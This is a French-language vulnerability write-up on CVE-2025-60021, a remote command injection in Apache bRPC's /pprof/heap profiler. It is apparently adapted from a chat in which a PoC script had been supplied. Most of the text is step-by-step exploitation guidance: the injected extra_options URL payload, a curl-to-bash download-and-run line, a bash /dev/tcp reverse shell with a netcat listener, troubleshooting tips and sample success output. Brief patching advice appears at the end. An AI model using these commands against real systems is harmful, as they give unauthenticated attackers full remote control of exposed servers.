
CVE-2025-60021

CVE-2025-60021 est une vulnérabilité critique d'injection de commandes à distance découverte dans le service intégré de profilage du tas (/pprof/heap) d'Apache bRPC dans les versions antérieures à 1.15.0, permettant à des attaquants non authentifiés d'exécuter des commandes système arbitraires. (NVD)
| Attribut | Informations |
|---|
| Nom / ID | CVE-2025-60021 |
| Produit | Apache bRPC (toutes plateformes) |
| Versions affectées | < 1.15.0 |
| Date de publication | 16 janv. 2026 (NVD) |
| Type de vulnérabilité | Injection de commandes à distance (CWE-77) (NVD) |
| Point d'accès | /pprof/heap |
| Déclencheur | Paramètre extra_options non assaini |
| Cause racine | Entrée non validée avant exécution en tant que commande OS (openwall.com) |
❗Les attaquants peuvent injecter des commandes à distance en manipulant simplement ce paramètre de profilage.
🔥 Niveau de sévérité : Critique
📊 Score CVSS v3.1 de base : 9.8 / 10
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| Catégorie d'impact | Effet | |
|---|---|---|
| Confidentialité | Élevé | |
| Intégrité | Élevé | |
| Disponibilité | Élevé | |
| Vecteur d'attaque | Réseau | |
| Privilèges | Aucun requis | |
| Interaction utilisateur | Aucune nécessaire | (INCIBE) |
👉 Cela signifie que les attaquants peuvent exécuter des commandes arbitraires à distance sans connexion — un scénario catastrophe pour les services exposés.
/pprof/heap) destiné à l'analyse mémoire (jemalloc). (openwall.com)extra_options. Au lieu de l'assainir, bRPC le transmet directement au shell OS. (openwall.com)Ceci suppose que vous avez enregistré le script sous le nom CVE-2025-60021.py (même si la vraie CVE est 2025-60021 — n'hésitez pas à le renommer). C'est un script Python 3 pour démontrer la vulnérabilité d'injection de commandes à distance dans le profileur de tas d'Apache bRPC. Exécutez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite — l'exploitation sans autorisation est illégale.
Environnement Python : Assurez-vous d'avoir Python 3 installé (par ex., 3.6+). Le script utilise des modules intégrés plus requests et argparse (qui sont standards ou faciles à installer).
Installer les dépendances : Si ce n'est pas déjà fait, installez la bibliothèque requests :
pip install requests
Configuration de la cible : Vous avez besoin d'un serveur Apache bRPC vulnérable :
http://localhost:8060 ou une IP/port distants).
Si vous testez localement, configurez une instance bRPC vulnérable (par ex., via Docker ou construction source — consultez la documentation d'Apache bRPC).Permissions : Exécutez avec sudo uniquement si nécessaire pour l'accès réseau ou les privilèges ; sinon, un simple python3 suffit.
Copiez le code PoC que j'ai fourni précédemment dans un fichier nommé CVE-2025-60021.py. Rendez-le exécutable si vous le souhaitez :
chmod +x CVE-2025-60021.py
Le script prend deux arguments positionnels obligatoires :
target : L'URL du serveur bRPC vulnérable (par ex., http://192.168.1.100:8060 ou http://targets:8060 — corrigez les éventuelles fautes de frappe comme un schéma manquant ou un hôte invalide).cmd : La commande à exécuter sur la cible (par ex., "id" pour les informations utilisateur, ou quelque chose de plus complexe comme "curl http://votre-serveur/reverse-shell.sh | bash" pour un reverse shell). Utilisez && ou ; pour enchaîner plusieurs commandes.Ouvrez un terminal (par ex., sur Kali Linux comme vous l'utilisez) et exécutez-le avec votre cible et votre commande. Exemples de commandes :
Test de base (obtenir des informations système) :
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Exemple de reverse shell (remplacez votre-ip-écouteur et le port ; configurez d'abord un écouteur comme nc -lvnp 4444) :
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/votre-ip-écouteur/4444 0>&1"
Si vous utilisez HTTPS ou un port différent, ajustez l'URL en conséquence (par ex., https://target:443 — le script le gère, mais ajoutez --insecure en cas de problème de certificat).
Indicateurs de succès :
uid=0(root)... si id a été exécuté).Indicateurs d'échec (comme ce que vous avez vu) :
--enable_heap_profiler=true) et redémarrez le serveur.cmd oublié — incluez-le toujours.echo "test" > /tmp/proof.txt) et vérifiez le fichier sur la cible.; ne fonctionne pas, essayez && ou | pour l'enchaînement. Encodez les caractères spéciaux dans l'URL si nécessaire (le script gère la plupart)./pprof/heap.Si l'exploit a réussi sur une cible vulnérable (par ex., profileur de tas activé, bRPC <1.15.0 non corrigé), la sortie dans votre terminal ressemblerait à ceci (les détails exacts dépendent du stdout de la commande et de la configuration du serveur) :
[*] Envoi de la charge utile à : http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Exécution de la commande : id && whoami && uname -a
[+] L'exploit a probablement réussi ! (200 OK)
[+] Vérifiez votre écouteur / les logs du serveur pour la sortie
Corps de la réponse (sortie possible de la commande) :
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[suivi des données de profil du tas ou de sortie binaire de jemalloc, comme des statistiques mémoire ou un dump]
Les signes clés : statut 200 OK, et si votre commande (comme id && whoami && uname -a) produit une sortie, elle pourrait apparaître dans le corps de la réponse (mélangée avec des données de profilage). Pour les commandes silencieuses (par ex., reverse shell), vérifiez le serveur cible ou votre écouteur pour une activité — pas de confirmation directe dans le terminal au-delà du 200. 😈
/pprof/heap depuis des réseaux non fiables.✔ Les attaquants n'ont pas besoin d'identifiants. ✔ Cela fonctionne sur le réseau. ✔ Cela affecte toutes les plateformes utilisant bRPC vulnérable. ✔ Cela peut conduire à une compromission complète du système.
Les entreprises utilisant bRPC pour des services critiques (par ex., recherche, stockage, pipelines d'apprentissage automatique) sont particulièrement exposées car cette faille transforme un outil de diagnostic en vecteur d'attaque. (Daily CyberSecurity)
⚠ EPSS (Exploit Prediction Scoring System) : Certaines sources indiquent une faible observation d'exploitation jusqu'à présent, mais la facilité d'exploitation signifie qu'elle pourrait être rapidement utilisée dans des attaques réelles. (Tenable®)
📌 Classification : CWE-77 — Mauvaise neutralisation des éléments spéciaux dans une commande (Injection de commande). (NVD)
Si vous exécutez Apache bRPC en production — corrigez immédiatement et restreignez l'accès aux points d'accès de diagnostic pour réduire les risques.